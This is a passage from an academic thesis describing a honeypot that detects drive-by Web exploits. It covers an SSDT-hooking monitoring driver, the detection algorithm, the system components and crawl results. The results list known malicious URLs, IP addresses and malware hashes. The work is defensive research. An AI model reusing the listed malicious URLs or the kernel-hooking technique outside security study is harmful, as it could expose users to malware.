done at the SSDT level. The address of the SSDT is obtained during run-time via the

KeServiceDescriptorTable data structure, which is exported by ntoskrnl.exe.

The pointer to NtCreateFile in the SSDT is first saved to a local variable, and then

overwritten with the address of a routine Rf in the driver. The address of Rf is

obtained during run-time. The CreateFile function can be used to create or open

files. In Rf , all calls are routed directly to NtCreateFile in ntoskrnl.exe except

calls that successfully create files, which are recorded before they are routed.
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Recording

When a process or a file creation activity occurs, the driver first checks if the moni-

toring flag is set to true or false. If the flag is set to false and the activity is a process

creation activity, the driver ignores the activity. If the activity is a file creation ac-

tivity, the driver routes the call to NtCreateFile in ntoskrnl.exe and passes the

value returned by NtCreateFile to the caller. If the monitoring flag is set to true,

the driver records the activity to a log file. Table 4.2 shows the data that is recorded

for each activity.

Table 4.2: Data stored for each process or file creation activity
Data Description

Timestamp In the form: dd.mm.yyyy hh:mm:ss:ffffff

Type File or Process
Process ID Integer value
Process image path The caller’s image path in the file system
Parent process ID Integer value
Parent image path The parent’s image path in the file system
Image Path The image path of the created file or process

Access to the log file is protected by a mutex object. If the mutex is acquired by

a thread, all other threads wait until the mutex is released. Activities are written

to the log file using worker threads running in the context of the System process.

When an activity is to be recorded, the executing thread first acquires the mutex.

The thread then requests a worker thread from the kernel to record the activity to

the log file. The executing thread waits until all the data have been recorded to the

log file before the thread releases the mutex. To know when all the data have been

recorded, an event object is used to indicate when the recording is completed.
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4.3.2 Driver Controller

The driver controller is a component that is used by a Web bot to communicate

with the driver from user-mode. When a Web bot is initialized, it uses the driver

controller to obtain a handle to the driver via the CreateFile function. The handle

is used to send I/O control messages to the driver via the driver controller, which

uses the DeviceIoControl function to send the messages.

Before a Web bot sends a command to Internet Explorer to visit a Web page

P , the Web bot uses the driver controller to send the IOCTL START MONITORING

message to the driver. After Internet Explorer visits P , the Web bot uses the

driver controller to send the IOCTL STOP MONITORING message to the driver. The

driver starts monitoring process and file creation activities when it receives the

IOCTL START MONITORING message, and stops monitoring the activities when it re-

ceives the IOCTL STOP MONITORING message. This monitoring period of time is re-

ferred to as a monitoring session. At the beginning of each monitoring session, the

log file is automatically cleared by the driver.

4.3.3 Detection Module

The detection module is used by two components in the implemented honeypot: a

Web bot and a controller. The detection module is used to process the log file, which

has the list of activities recorded by the driver. The module filters out activities

generated by legitimate processes, checks for deviations from normal activities, and

generates an XML (Extensible Markup Language) file summarizing the recorded

activities during a monitoring session.

When a log file is processed by the detection module, all activities in which
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Internet Explorer (iexplore.exe) appears in the process image path or the parent

image path are extracted from the log file. Any activity that does not involve Internet

Explorer is ignored. This technique filters out all activities generated by legitimate

processes that are not related to Internet Explorer.

For each extracted activity, the file or process image path in the file system is

stored in a list based on the activity’s type. The detection module has two lists:

Lp and Lf . Lp is used to store the image paths of processes created by Internet

Explorer. Each process created by Internet Explorer is considered a child of Internet

Explorer. The image paths of processes created by Internet Explorer’s children are

also stored in Lp. Lf is similar to Lp, but it stores the image paths of created files

instead of processes.

After monitoring, recording, processing, and storing the image paths of created

files and processes in Lf and Lp, detecting the delivery of Web-based exploits becomes

a simpler task. To detect exploitation of the honeypot by a Web-based exploit

delivered by a Web page P , the detection module first checks Lf . If there is at least

one executable file in Lf then P must be malicious, since it indicates that malware

was downloaded to the honeypot after visiting P . The detection module marks P

as malicious if there is at least one executable file in Lf . If there are no executable

files in Lf , then the module checks the size of Lp. If the size of Lp is greater than

zero, then there is a high probability that P is malicious. The detection module, in

its current settings, marks P as malicious if the size of Lp is greater than zero. The

detection algorithm is summarized in Algorithm 4.1.

If a Web page P is malicious, the detection module collects all files created

during the monitoring session and stores them in the repository. The module uses
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Algorithm 4.1 Detection of Web-based exploits

1. if Lf has at least one executable file then
2. return true
3. else
4. if size of Lp > 0 then
5. return true
6. end if
7. end if
8. return false

the image paths in Lf to locate the files in the file system of an infected virtual

machine. The detection module, in its current settings, collects all files except files

with the following extensions: jpg, gif, png, bmp, and css. We decided to ignore

images and Cascade Style Sheets (CSS) to avoid the overhead of storing such files.

At the end of each monitoring session, the detection module generates an XML

file for each Web page (malicious or non-malicious). An example of a generated XML

file is shown in Appendix A. The XML file includes the list of all file and process

creation activities that were extracted from the log file. The XML file is stored in

the repository, and can be visualized via the Web interface.

4.4 Summary

In this chapter, we presented our honeypot that detects Web-based exploits deliv-

ered by malicious Web pages. A general overview of malware and exploit detection

techniques was presented in Section 4.1. In addition, Section 4.1 illustrated how

Web-based exploits can be detected. Section 4.2 presented a general overview of our

detection approach, identified limitations in the approaches used in related work,

and argued how our approach is simpler and more effective. Finally, Section 4.3
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presented a detailed description of the detection engine and its various components.

The next chapter presents a detailed description of the other components of our

honeypot.



Chapter 5

Automated Processing of Web Pages

In Chapter 3, we presented an overview of the honeypot’s architecture. In Chapter

4, the detection approach we devised to effectively detect the delivery of Web-based

exploits by malicious Web pages was presented. In this chapter, a detailed descrip-

tion of the honeypot’s architecture and its various components is presented. The

repository, hypervisor, URL submitter, URL server, Web bots, controllers, and the

Web interface are described in Sections 5.1, 5.2, 5.3, 5.4, 5.5, 5.6, and 5.7 respectively.

Finally, Section 5.8 summarizes the chapter.

5.1 Repository

The repository component is a MySQL [50] database, which is used to store the data

collected by the honeypot’s components. Initially, the database consisted of 12 tables.

After performing several storage optimizations, we reduced the total number to 7

tables. To improve performance, every table in the database uses MyISAM as its

storage engine. The tables in the database and their purposes are described as

follows:

• urls: The urls table is used to store URLs submitted by the URL submitter.

Each record in the urls table consists of a unique url id used to index the

table, a URL, and a set of tags. The url id is an integer value, which uniquely

identifies a URL in the database. The urls table is the primary table in the

66
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database, which other tables reference.

• domains: The domains table is used to store registered domain names of URLs.

Each record in the domains table consists of a unique domain id used to index

the table, a url id used to reference a URL, and a registered domain name

extracted from a URL. The mapping between records in the urls table and

the domains table is one-to-one.

• ips: The ips table is used to store DNS address records of domain names

extracted from URLs. Each record in the ips table consists of a unique ip id

used to index the table, a url id used to reference a URL, an IP address, and

a geographic location. The mapping between records in the urls table and the

ips table is one-to-many.

• files: The files table is used to store files collected by the honeypot when

malicious Web pages are processed. Each record in the files table consists of

a unique file id used to index the table, a url id used to reference a URL,

a file’s name, size, SHA-1 hash, content, and extension. The mapping between

the entries in the urls table and the files table is one-to-many.

• reports: The reports table is used to store XML files generated by the

detection module for each URL. An example of a generated XML file is shown in

Appendix A. Each record in the reports table consists of a unique report id

used to index the table, a url id used to reference a URL, an XML file, a

status flag, and a timestamp. The status flag is used to indicate if a URL is

malicious or non-malicious, and the timestamp is used to indicate when a Web
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page was processed by the honeypot. The mapping between records in the

urls table and the reports table is one-to-one.

• relations: The relations table is used to store relations between URLs,

which can be used to construct an analysis graph as described in Chapter 3.

Each record in the relations table consists of a unique relation id used to

index the table, a url id used to reference a URL, a destination URL, and a

relation’s type. Relations were described in Chapter 3. The mapping between

the entries in the urls table and the reports table is one-to-many.

• images: The images table is used to store screenshots of the virtual machines’

desktop. The screenshots are captured when Internet Explorer visits a Web

page. Each record in the images table consists of a unique image id used

to index the table, a url id used to reference a URL, and three images with

different resolution. The mapping between the entries in the urls table and

the images table is one-to-one.

5.2 Hypervisor

The advantages of using a hypervisor rather than a real computer were discussed in

Chapter 3. The hypervisor component in the honeypot is used to manage multiple

virtual machines. We use VMware [79] to create and manage multiple virtual ma-

chines. VMware has a well-designed API called VIX, which can be used to control a

virtual machine effectively. To produce a virtual machine image V , we perform the

following steps:
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1. Create a virtual machine using VMware.

2. Install Windows XP SP2.

3. Disable Windows update.

4. Copy the device driver, described in Chapter 4, into the virtual machine and

load the driver.

5. Install the Web bot component in the virtual machine.

6. Create a snapshot Sc of the virtual machine. Sc is a clean state of the virtual

machine.

After performing the steps described above, a single virtual machine V that can

be used in the honeypot is produced. V can be cloned via VMware to produce

additional virtual machines V1, V2, ..., Vn. The additional virtual machines can be

used to extend the honeypot’s architecture, if needed.

5.3 URL Submitter

The honeypot is seeded with URLs via the URL submitter. The URL submitter

is an independent component, which is not part of the honeypot’s automated pro-

cessing of Web pages. The URL submitter is configured via a settings module. The

configuration parameters are shown in Table 5.1. To submit URLs to the honeypot

via the URL submitter, two files Fu and Ft are required. Fu contains the list of

URLs to be submitted, and Ft contains the list of tags associated with the URLs.

The tasks of the URL submitter can be summarized as follows:
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Table 5.1: Configuration parameters for the URL submitter
Parameter Description

DATABASE HOST IP address of the database
DATABASE USER Username used to authenticate to the database
DATABASE PASS Password used to authenticate to the database
DATABASE NAME Name of the schema in the database
TABLES List of tables accessed by the URL submitter

• Extracts URLs and tags from Fu and Ft, and stores the extracted URLs and

tags in the repository.

• Extracts registered domain names from URLs, and stores the registered domain

names in the repository.

• Retrieves DNS address records of domain names, and stores the retrieved DNS

address records in the repository.

• Retrieves the geographic locations of IP addresses using hostip.info [31], and

stores the retrieved geographic locations in the repository.

When the URL submitter starts, the list of URLs and tags are extracted from Fu

and Ft and stored internally. The extracted URLs are stored internally in a queue

called the URL queue, and the tags are stored in a list called the tags list. The URLs

in the URL queue are processed by a pool of worker threads, which are managed by

the URL submitter. The URL submitter uses a pool of 30 worker threads to process

URLs in the URL queue. The algorithm used by each worker thread is shown in

Algorithm 5.1. When all URLs in the URL queue are processed, the URL submitter

terminates.
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Algorithm 5.1 Submission of URLs via the URL submitter

1. while there are URLs in the URL queue do
2. Retrieve a URL from the URL queue
3. if the URL is already in the urls table then
4. Continue
5. else
6. Store the URL and the set of tags in urls table
7. Extract the registered domain name from the URL
8. Store the registered domain name in domains table
9. Extract the domain name (also known as the host name) from the URL

10. Retrieve the DNS address records of the extracted domain name
11. for each IP address in the retrieved DNS address records do
12. Find the geographic location of the IP address
13. Store the IP address and geographic location in ips table
14. end for
15. end if
16. end while

5.4 URL Server

URLs are distributed to controllers by the URL server. The URL server retrieves

URLs from the repository and sends the retrieved URLs to controllers that request

URLs to process. The URL server can be configured via a settings module. The

configuration paramaters are shown in Table 5.2.

When the URL server starts, the URL server listens on a TCP port and waits for

incoming connections from controllers. When an incoming connection is received, the

URL server spawns a worker thread to handle the connection. To request URLs from

the URL server, clients must first go through a handshake protocol. The handshake

protocol is shown in Algorithm 5.2. If the handshake protocol is not completed,

the URL server terminates the connection. Otherwise, the URL server maintains

the connection and waits for a request message. When a controller completes the
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Table 5.2: Configuration parameters for the URL server
Parameter Description

DATABASE HOST IP address of the database
DATABASE USER Username used to authenticate to the database
DATABASE PASS Password used to authenticate to the database
DATABASE NAME Name of the schema in the database
TABLES List of tables accessed by the URL server
QUEUE SIZE Total number of URLs to store in the URL queue
POLL URL Timeout value

handshake protocol and sends a request message to the URL server, the URL server

sends a URL and its corresponding id to the controller. The messages exchanged

between the URL server and controllers are shown in Algorithm 5.3.

To avoid the overhead of querying the urls table in the repository every time

a controller sends a request message, the URL server queries the urls table once

to retrieve at most n URLs that have not yet been processed. The retrieved URLs

and their ids are stored internally in a queue called the URL queue. The value of n

can be changed via the QUEUE SIZE parameter in the settings module. The current

settings of the URL server use 1000 for the value of n.

When all URLs in the URL queue are distributed to controllers, the URL server

queries the urls table again to retrieve another set of URLs. This process repeats

until all URLs in the urls table have been processed. If all URLs in the urls table

have been processed, the URL server waits for k seconds before querying the urls

table. The value for k can be changed via the POLL URL parameter in the settings

module. The current settings of the URL server use 60 seconds for the value of k.

The algorithm used by the URL server is shown in Algorithm 5.4.
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Algorithm 5.2 Handshake protocol used to communicate with the URL server

1. S → C : banner
2. C → S : Nc

3. S → C : Nc, Ns

4. C → S : Ns, Nc

S is the URL server
C is a controller
Nc is a random number generated by a controller
Ns is a random number generated by the URL server
banner is the honeypot’s name and version number

Algorithm 5.3 Messages exchanged between the URL server and controllers

1. C → S : REQUEST-URL
2. S → C : url id, URL

S is the URL server
C is a controller
REQUEST-URL is a request message

Algorithm 5.4 Distribution of URLs by the URL Server

1. while true do
2. while the URL queue is not empty do
3. Wait for a controller to send a request message
4. if a request message is received from a controller then
5. Retrieve a URL from the URL queue
6. Send the URL and its url id to the controller
7. end if
8. end while
9. Wait for k seconds

10. Retrieve n URLs from the urls table
11. if there are no URLs to process in the urls table then
12. Continue
13. else
14. for each retrieved URL do
15. Add the URLs to the URL queue
16. end for
17. end if
18. end while
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Table 5.3: Configuration parameters for a Web bot
Parameter Description

DATABASE HOST IP address of the database
DATABASE USER Username used to authenticate the database
DATABASE PASS Password used to authenticate the database
DATABASE NAME Name of the schema in the database
TABLES List of tables accessed by the Web bot
DRV LOG FILE Path to the log file where the activities are recorded
MONITORING DRIVER Symbolic name of the device driver
WEBPAGE TIMEOUT Web page rendering timeout
IOCTL START MONITORING Value of IOCTL START MONITORING

IOCTL STOP MONITORING Value of IOCTL STOP MONITORING

5.5 Web Bots

Web bots are the core component of the honeypot, which run inside the virtual

machines. If there are n virtual machines, then n Web bots are required. The

configuration parameters that are used to configure a Web bot are shown in Table

5.3. The tasks of a Web bot can be summarized as follows:

• Retrieves URLs from the controller.

• Sends commands to Internet Explorer to start, terminate, or navigate to the

URL of a Web page.

• Sends I/O control messages to the device driver to start or stop a monitoring

session via the driver controller described in Chapter 4.

• Captures screenshots of the virtual machine’s desktop and stores the screen-

shots in the repository.
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• Stores redirection URLs in the repository as a redirect relation, if Internet

Explorer was redirected.

• Accesses the Document Object Model (DOM) of a Web page and extracts

any URLs specified in the anchor, iframe, or script elements. All extracted

URLs are stored as relations in the repository.

• Checks if a Web page delivers a Web-based exploit using the detection module

described in Chapter 4.

• Collects files created during a monitoring session, if a Web page is malicious.

The collected files include the Web-based exploit and malware.

• Notifies the controller about the status (malicious or non-malicious) of a pro-

cessed Web page.

The messages exchanged between controllers and Web bots are shown in Algo-

rithm 5.5. A processing session starts when a Web bot receives a URL for a Web page

from a controller, and stops when a Web bot sends a status flag to the controller.

Controllers are notified about the status of a Web page via the status flag, since

the virtual machines need to be restored to a clean state if the virtual machines are

compromised via a malicious Web page. The status flag can have one of two values:

0 or 1. The value of 0 indicates that a Web page is found to be non-malicious, and

the value of 1 indicates that a Web page is found to be malicious.

When a processing session starts, the Web bot starts a monitoring session and

Internet Explorer is instructed to navigate to the Web page of the received URL.

If the Web page is fully rendered or a timeout value k expires, the Web bot stops
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Algorithm 5.5 Messages exchanged between a controller and a Web bot

1. S → C : url id, URL
2. C → S : url id, s

S is a controller
C is a Web bot
s is a status flag (0 for non-malicious and 1 for malicious)

the monitoring session. After stopping the monitoring session, the Web bot checks

for redirection and extracts URLs from the DOM of the Web page. Redirection

URLs and URLs extracted from the DOM are stored as relations in the repository.

Relations were described in Chapter 3. The value of k can be configured via the

WEBPAGE TIMEOUT parameter in the settings module. The current settings of a Web

bot use 60 seconds for the value of k.

To detect if a Web page delivers a Web-based exploit, the Web bot uses the

detection module described in Chapter 3. The XML file generated by the detection

module and the value of the status flag are stored in the repository by the Web bot.

In addition, the Web bot extracts the list of files Lf created during a monitoring

session from the detection module if a Web page is found to be malicious. Lf is used

to find the paths of the created files in the file system. These files, which include the

Web-based exploit and malware, are collected and stored in the repository by the

Web bot.

After processing a URL and collecting data, the Web bot sends the value of the

status flag to the controller to end the processing session. To process a new URL,

a new processing session starts and the same process is repeated. The activities

performed during a processing session are shown in Algorithm 5.6.



77

Algorithm 5.6 Processing Web pages by a Web bot

1. while true do
2. Request a URL from the controller
3. s← 0
4. Start Internet Explorer (IE)
5. Send IOCTL START MONITORING to the device driver via the driver controller
6. Send a command to IE to navigate to the URL
7. if P is fully rendered by IE or a timeout occurs then
8. Send IOCTL STOP MONITORING to the device driver
9. Capture a screenshot of the virtual machine’s desktop

10. Store the screen in the images table
11. if IE was redirected then
12. Retrieve the redirection URL
13. Store the URL in relations table as a redirect relation
14. end if
15. Extract the list of anchor URLs So from the DOM in IE
16. for each URL in So do
17. Store the URL in relations table as an outgoing relation
18. end for
19. Extract the list of iframe URLs Sf from the DOM in IE
20. for each URL in Sf do
21. Store the URL in relations table as an iframe relation
22. end for
23. Extract the list of script URLs Ss from the DOM in IE
24. for each URL in Ss do
25. Store the URL in relations table as a script relation
26. end for
27. Use the detection module to process the log file
28. if P is malicious then
29. s← 1
30. Retrieve Lf from the detection module
31. for each file in Lf do
32. Store the file in files table
33. end for
34. end if
35. Store the XML file and s in reports table
36. end if
37. Terminate IE and send s to the controller
38. end while
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Table 5.4: Configuration parameters for a controller
Parameter Description

DATABASE HOST IP address of the database
DATABASE USER Username used to authenticate to the database
DATABASE PASS Password used to authenticate to the database
DATABASE NAME Name of the schema in the database
TABLES List of tables accessed by the controller
VMWARE PATH Path to the virtual machine’s image
VMWARE USER Username used to authenticate to the guest
VMWARE PASS Password used to authenticate to the guest
SESSION TIMEOUT Timeout for receiving the status flag
WEB BOT PATH Path to the Web bot’s main program
DRV LOG FILE Path to the log file where the activities are recorded
SMTP SERVER IP address of an SMTP server
SMTP USERNAME Username used to authenticate to the SMTP server
SMTP PASSWORD Password used to authenticate to the SMTP server
SMTP FROM Email address to use in the From field in SMTP
SMTP TO List of email addresses of the recipients

To increase the processing speed of Web pages, Web bots use several worker

threads to carry out some of the tasks. One worker thread is used to capture the

screenshots of the virtual machine’s desktop and store the screenshots in the reposi-

tory, and 10 worker threads are used to process the URLs extracted from the DOM

and store the URLs in the repository. In addition, 10 worker threads are used to

collect and store files in the repository if a Web page is malicious.

5.6 Controllers

Each virtual machine and Web bot is managed by a controller, which runs on the host

operating system. Controllers ensure that the automated processing of a Web page is
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not interrupted, by detecting and handling several failure cases. The parameters that

are used to configure a controller are shown in Table 5.4. The tasks of a controller

can be summarized as follows:

• Retrieves URLs from the URL server.

• Forwards URLs to the Web bot.

• Restores the virtual machine to a clean state (snapshot Sc), if the virtual

machine is compromised.

• Restarts the Web bot inside the virtual machine, if needed.

• Detects and handles failure cases.

When a Web bot opens a TCP connection with the controller, the controller

requests a URL for a Web page from the URL server and forwards the URL to

the Web bot to start a processing session. After starting a processing session, the

controller waits for k seconds to receive the status flag’s value from the Web bot.

The value for k can be configured via the SESSION TIMEOUT parameter. The current

settings of a controller use 120 seconds for the value of k.

If the status flag’s value is received and the value is 0, the controller requests

another URL and forwards the URL to the Web bot to start a new processing

session. Otherwise, the controller restores the virtual machine to Sc if the value

is set to 1, which indicates that a Web page delivered a Web-based exploit and the

virtual machine has been compromised. The process of restoring a virtual machine to

a previous snapshot takes at most 120 seconds. After restoring the virtual machine
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to Sc, the controller restarts the Web bot in the virtual machine, which connects

back to the controller and the process repeats.

If the controller does not receive the status flag’s value from the Web bot within

k seconds or the connection was terminated, the controller extracts the log file,

where the recorded activities are stored, from the virtual machine to the host. The

controller then processes the log file using the detection module described in Chapter

4. If the detection module detects that the Web page is non-malicious, the controller

restarts the Web bot in the virtual machine. Otherwise, the controller restores the

virtual machine to Sc and restarts the Web bot after the virtual machine is fully

restored. In addition, the controller extracts the list of files Lf created during a

monitoring session from the detection module if a Web page is found to be malicious.

Lf is used to find the paths of the created files in the virtual machine. A total of 10

worker threads are used to copy the files from the virtual machine to the host and

store the files in the repository.

When a Web page is found to be malicious, the controller constructs an alert

email message M that contains the URL of the Web page. The controller uses

SMTP to send M to a list of pre-defined email addresses. The algorithm used by a

controller to manage a virtual machine and a Web bot is shown in Algorithm 5.7.

5.7 Web Interface

The Web interface is a Web application that is used to visualize the data collected

by the honeypot. For each processed Web page P , the Web interface displays the

following:
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Algorithm 5.7 Managing a virtual machine and a Web bot

1. while true do
2. Wait for an incoming TCP connection from the Web bot
3. if there is an incoming connection from the Web bot then
4. while true do
5. Request a URL from the URL server
6. Forward the URL to the Web bot
7. Wait for s to be sent by the Web bot
8. if s is received and s = 0 then
9. Continue

10. else
11. if s is received and s = 1 then
12. Restore the virtual machine Sc

13. Restart the Web bot
14. Break
15. end if
16. end if
17. if the connection was terminated or a timeout occurs then
18. Extract the log file from the virtual machine
19. Use the detection module to process the log file
20. s← 0
21. if P is malicious then
22. s← 1
23. Retrieve Lf from the detection module
24. for each file in Lf do
25. Extract the file from the virtual machine
26. Store the file in the files table
27. end for
28. Restore the virtual machine to Sc

29. Send an alert email message
30. end if
31. Store the XML file generated by the detection module in reports table
32. Store the value of s in the reports table
33. Restart the Web bot
34. Break
35. end if
36. end while
37. end if
38. end while
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• The URL of P .

• The date and time when P was processed.

• P ’s status (malicious or non-malicious).

• DNS address records and geographic locations.

• Screenshot of the virtual machine’s desktop captured in the processing session.

• File and process creation activities.

• The set of processed Web pages to which P has outgoing links.

• The set of processed Web pages that have outgoing links to P .

• The Web page to which P redirects Internet Explorer, if Internet Explorer was

redirected.

• The set of processed Web pages that redirect the Web browser to P .

• The set of processed Web pages to which P points in an iframe or a script

element.

• The set of processed Web pages that point to P in an iframe or a script

element.

• The list of created files, if P is malicious.

In addition to displaying information about processed Web pages, the Web interface

provides search functionality, which can be used to search for specific URLs in the

repository. Figure 5.1 shows screenshots of the Web interface.
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Figure 5.1: Screenshots of the Web interface
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5.8 Summary

In this chapter, we presented a detailed description of our honeypot’s architecture.

The repository component was described in Section 5.1. The hypervisor component

was described in Section 5.2. Section 5.3 and Section 5.4 described the URL sub-

mitter and server, respectively. Web bots and controllers were described in Sections

5.5 and 5.6, respectively. Finally, the Web interface was described in Section 5.7.

The next chapter describes how we tested our honeypot, and provides an in-depth

discussion of our results.



Chapter 6

Results and Case Studies

Chapters 3, 4, and 5 presented the honeypot’s architecture, the various components

used in the architecture, and described how the honeypot detects Web-based exploits

delivered by malicious Web pages. This chapter presents our results after visiting

33,811 Web pages. Additionally, this chapter presents four case studies to provide

insights about Web-based exploits and malware, malicious Web pages, and the var-

ious techniques used by attackers to deliver and obfuscate the exploits. Section 6.1

describes the three data sets that were used to seed the honeypot with URLs. Section

6.2 discusses our results based on the data collected by the honeypot. Section 6.3

presents case studies of four malicious Web pages. Finally, Section 6.4 summarizes

the chapter.

6.1 Data Sets

We seeded the honeypot with 33,811 unique URLs that were extracted from three

data sets. We collected the URLs from different sources and populated the three

data sets with the collected URLs.

For the first data set D1, we collected the URLs from two network traces of

HTTP traffic captured at the University of Calgary in January and April 2008. The

first trace has a total of 20,163 URLs and the second trace has a total of 100,000

URLs. We processed the two traces and extracted 8,472 unique domain names. We

85
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used the extracted domain names to construct 8,472 HTTP URLs. The URLs were

used to populate D1 with URLs.

For the second data set D2, we collected URLs from a Web site [41] that posts

suspicious domain names. From [41], we extracted a total of 1,900 unique domain

names. We used the extracted domain names to construct 1,900 HTTP URLs. The

URLs were used to populate D2 with URLs.

For the third data set D3, we collected URLs from a Web site [22] that keeps

track of blacklisted domain names. We retrieved the blacklist file from [22], and

extracted the unique domain names from the retrieved file. The file has a total

of 23,737 domain names, where 23,439 are unique. We used the extracted domain

names to construct 23,439 HTTP URLs. The URLs were used to populate D3 with

URLs.

After generating the three data sets, we used the URL submitter to submit a total

of 33,811 unique URLs in D1, D2, and D3 to the honeypot. Table 6.1 summarizes

the total number of URLs in each data set, and shows the list of tags associated with

each data set.

Table 6.1: Data sets used to seed the honeypot with URLs

Data Set URLs Tags

D1 8,472 UofC HTTP network trace

D2 1,900 malicious domain list

D3 23,439 malicious domain black list
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6.2 Results

Using the honeypot, we visited a total of 33,811 Web pages in a one-week period. The

total number of unique registered domain names extracted is 27,866. The registered

domain name with the most occurrences is facebook.com. 2.5% of the visited Web

pages belongs to facebook.com.

The total number of IP addresses found based on the DNS address records is

34,325. Based on the geographic locations of the collected IP addresses, we found that

the top five countries are the United States, China, Canada, Russia, and Germany.

57.14% of the IP addresses are located in the United States, 9.60% are located in

China, 5.39% are located in Canada, 3.36% are located in Russia, and 3.27% are

located in Germany.

The overall density of malicious Web pages found is 0.96%. 0.28% of the Web

pages from D1 are malicious, 4.47% of the Web pages from D2 are malicious, and

0.92% of the Web pages from D3 are malicious. Table 6.2 shows the total number of

malicious Web pages found in each data set.

Table 6.2: The density of malicious Web pages in each data set

Data Set URLs Malicious Web pages Density

D1 8,472 24 0.28%
D2 1,900 85 4.47%
D3 23,439 216 0.92%

Total 33,811 325 0.96%

Based on the analysis graph that was constructed by the honeypot, we found a

total of 520,959 link relations, 33,866 script relations, 6,806 iframe relations, 4,680
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Table 6.3: Geographic distribution of the IP addresses of Web servers hosting mali-
cious Web pages

Country Total

United States 75.39%
China 8.90%

Canada 2.88%
Russia 2.36%
Korea 1.83%

Netherlands, Hong Kong 2.1%
United Kingdom, Germany 1.58%

Singapore, Malaysia, Ukraine,
France, Czech Republic, Spain 3.12%

Japan, Australia, Belgium,
Colombia, Hungary, Colombia,

Hungary, Italy, Thailand 2.34%

Total 100%

redirect relations, and 1,249 install relations. We found that 40% of the malicious

Web pages redirected Internet Explorer to different Web pages. 130 out of the 325

malicious Web pages that we found acted as bait Web pages that redirected Internet

Explorer to 16 unique Web pages, which delivered the Web-based exploits. The

URLs for the 16 Web pages are shown in Figure 6.1.

We extracted a total of 291 iframe URLs from the malicious Web pages, where

144 of these URLs are unique. We also extracted a total of 145 script URLs from

the malicious Web pages, where 128 of these URLs are unique. Figure 6.2 shows the

top iframe URLs that we found in the malicious Web pages.

The total number of IP addresses we extracted from the DNS address records

of the malicious Web pages is 382. The IP address with the most occurrences (117

times) is 216.240.136.88 followed by 64.69.35.48 (30 times). Both IP addresses
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http://apel.bulldog-konrad.net/include.php?path=start.php

http://www.collegecandy.com/

http://lms3.bu.ac.th/mybu/login.jsp

http://findyourlink.net/search.php?qq=big%20leg%20nice

http://75.126.83.147/.sp/index.cgi?general

http://corib91.it/r.html

http://www.donorweb.org/

http://87.118.117.138/ho.php

http://www.the-secretagent.cc/

http://hardpornmpg.com/?niche=hardcore&id=4441

http://magazinesubscripton.net/?rid=9300488

http://prophp.org/hosting-blog6/index.php

http://www.otherchance.com/indexx.php?rid=1

http://online-channels.info/extr/index.php

http://213.155.0.240/cgi-bin/index.cgi?pal

http://havy.net/main/main.asp

Figure 6.1: URLs of key malicious Web pages. 130 bait Web pages redirected Internet
Explorer to these malicious Web pages.

http://2005-search.com/test/test.html

http://search-biz.org/test.html

http://porntubesite.com/

http://search-buy.info/cyber.wmf

http://2005-search.com/go/c.php?num=1

http://google-analyze.info/count.php?o=2

http://195.190.13.98/ddd/index.php

Figure 6.2: Top iframe URLs embedded in malicious Web pages
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are located in the United States. The geographic distribution of the IP addresses of

Web servers hosting the malicious Web pages is shown is Table 6.3.

Based on the screenshots captured by the honeypot, we found that malicious

Web pages cannot be identified visually. Although some malicious Web pages do not

have much content, there are malicious Web pages that look very legitimate. The

malicious Web pages that look legitimate are either designed to look legitimate by

attackers, or the Web pages are in fact legitimate but were compromised and modified

by attackers to deliver Web-based exploits. Figures 6.3 and 6.4 show screenshots of

several malicious Web pages.

When the honeypot visited the malicious Web pages, the honeypot collected a

total of 7,586 files. The file type distribution of the collected files based on the

files’ extensions is shown in Table 6.4. The majority of the collected files have an

htm extension (58.74%) followed by files with an exe extension (16.46%). The files

with an exe extension are Windows executable files, which were downloaded by the

Web-based exploits.

The honeypot collected a total of 1,249 files with an exe extension. We consider

these files malicious since the files were downloaded by the exploits without any user

consent. Based on the install edges in the analysis graph, the top executables down-

loaded by multiple exploits delivered by different malicious Web pages are shown in

Table 6.5. The first column in Table 6.5 shows the total number of malicious Web

pages that downloaded the same malware, and the second column shows the different

names used to refer to the same malware.

To verify the maliciousness of the collected executable files, we scanned the files

using six anti-virus scanners with the latest signatures: BitDefender, ClamAV, F-
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Figure 6.3: Screenshots of malicious Web pages
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Figure 6.4: More screenshots of malicious Web pages
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Secure, Kaspersky, McAfee, and Norton. After scanning the executables with each

anti-virus scanner, we found the following: BitDefender classified 91.99% of the exe-

cutables as malicious, ClamAV classified 38.91% of the executables as malicious, F-

Secure classified 92.87% of the executables as malicious, Kaspersky classified 93.19%

of the executables as malicious, McAfee classified 85.91% of the executables as ma-

licious, and Norton classified 49.72% of the executables as malicious.

The majority of the Web-based exploits collected by the honeypot are embedded

in some of the files with an htm extension, which are HTML files. There are some

Web-based exploits that use crafted files to target vulnerabilities. For example, the

Windows MetaFile vulnerability described in Chapter 2 was used by 9.54% of the

malicious Web pages. These Web pages embed a link to a crafted wmf file using an

iframe element. When Internet Explorer retrieves and handles the wmf files, the

crafted wmf file causes arbitrary code execution. We also found several Web pages

that use crafted pdf, ani, anr, swf, hlp, and wmv files. These crafted files are used to

exploit different vulnerabilities that facilitate the execution of arbitrary code, which

eventually download malware.

The majority of the exploits embedded in the HTML files are written in JavaScript.

There are a few exploits written in VBScript. We observed that most of the exploits

are obfuscated using a variety of techniques to make it difficult to analyze the ex-

ploits. Some of these techniques are described in the next section.
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Table 6.4: File type distribution of the collected files based on extension

File Extension Total

htm 58.74%
exe 16.46%
js 5.29%
txt 3.26%
php 3.17%

no extension 2.47%
ani 2%
pdf 1.91%
swf 1.6%
xml 1.44%
cfm 0.57%
tmp 0.46%
wmf 0.41%
dll 0.37%
dat 0.2%

bat, vbs, com 0.48%
asf, pif 0.26%
html 0.12%
anr 0.11%
hlp 0.09%
inf 0.08%

ini, syz 0.14%
sys, wma, dmp, jsp, log 0.2%

axd, media, aspx 0.09%
res, hta, ocx, db, scr,

wmv, set, csv, reg, asp 0.1%

Total 100%
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Table 6.5: Top malicious executables downloaded by multiple malicious Web pages

Total Names Cryptographic Hash (SHA-1)

137 loader.exe, 0xf9.exe b0968fff9cc9e34eb807f6a22a4a49d311e21570

134 dnlsvc.exe 8531a6978e323d8e5949198e8e552cfb243d297b

133 go.exe, exe.exe d9e676005eda50f196d9c132d4414b99674c732a

6.3 Case Studies

In this section, we present four case studies that demonstrate a variety of Web-based

exploits, the sophistication of attackers, and the techniques used by attackers to

deliver and obfuscate the exploits. To analyze the Web-based exploits described in

this section, we used SpiderMonkey [49] (Mozilla’s C implementation of JavaScript).

6.3.1 Case Study 1

Figure 6.5: Screenshot of http://crucis.es/
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In this section, we present an analysis of a malicious Web page P hosted on

a Web server in Spain. P has the URL http://crucis.es/ and the IP address

